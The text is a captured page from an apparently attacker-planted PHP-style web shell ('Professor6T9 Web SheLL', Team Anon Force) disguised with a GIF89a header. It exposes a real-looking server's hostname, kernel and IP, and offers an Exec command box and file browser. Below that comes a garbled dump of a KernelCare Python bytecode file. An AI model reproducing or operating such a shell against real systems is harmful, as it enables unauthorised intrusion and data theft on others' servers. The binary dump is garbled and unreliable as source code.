GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux server1.hnhtechsolutions.com 4.18.0-553.78.1.el8_10.x86_64 #1 SMP Tue Oct 7 04:15:13 EDT 2025 x86_64
Apache
198.177.124.167
/
usr
/
libexec
/
kcare
/
python
/
__pycache__
[ HOME ]
Exec
Submit
kcsig_verify.cpython-36.pyc
3 � i\ � @ s d dl Z d dlZd dlZd dlZd dlZd dlZd dlZdgZdd1iZd Z e d �Ze d�Ze d�Z G dd � d e�Zd2dd�Zdd� Zd3dd�Zdd� Zdd� Zdd� Zdd� Zdd� Zd d!� Zejd"d#� �Zejd$d%� �Zd&d'� Zd(d)� Zd4d+d,�Zd5d-d.�Zd6d/d0�Z dS )7� NZrsa4096�gpg�type�kind�role�serial�keyz/dev/shm� � c @ s e Zd ZdS )�ErrorN)�__name__� __module__�__qualname__� r r �)/usr/libexec/kcare/python/kcsig_verify.pyr s r �latin1c C sN t | �}|tkr| S |tkr&| j|�S |tkr:tt| ��S tdt|� ��d S )NzUnsupported pae type )r �btype�utype�encode�int�to_bytes�str� ValueError)�data�encoding�dtyper r r r s r c C s@ t | �}|tkr| S |tkr&| jd�S |tkr8| jd�S t�d S )Nzutf-8)r �ntyper �decoder r �NotImplementedError)r r r r r �nstr( s r �wc C s8 | d }t ||��}|j|� W d Q R X tj|| � d S )Nz.tmp)�open�write�os�rename)�fname�content�mode� tmp_fname�fr r r �atomic_write3 s r) c C s t | �� }|j� S Q R X d S )N)r �read)r$ r( r r r � read_file; s r+ c C s t jt| ��S )N)�json�loadsr+ )r$ r r r � read_json@ s r. c G s: dt | � }x(| D ] }t|�}|dt |�|f 7 }qW |S )Ns %ds %d%s)�lenr )�parts�result�pZbpr r r �paeD s r3 c s t � fdd�|D �� S )Nc s g | ]}� | �qS r r )�.0r( )r r r � <listcomp>O s zpae_fields.<locals>.<listcomp>)r3 )r �fieldsr )r r � pae_fieldsM s r7 c C s t | t| d �S )Nr )r7 � PAE_FIELDS)r r r r �pae_typeR s r9 c C s$ | d t kr tdt| d � ��d S )Nr zinvalid key type: )r8 r r )r r r r � check_keyV s r: c c sH |r| V n8t jtdd��$}|jt| �� |j� |jV W d Q R X d S )Nzkcsig-data-)�dir�prefix)�tempfile�NamedTemporaryFile�TMPDIRr! r �flush�name)r �data_is_filer( r r r � temp_datafile[ s rC c c s* t j| |d�}z |V W d tj|� X d S )N)r<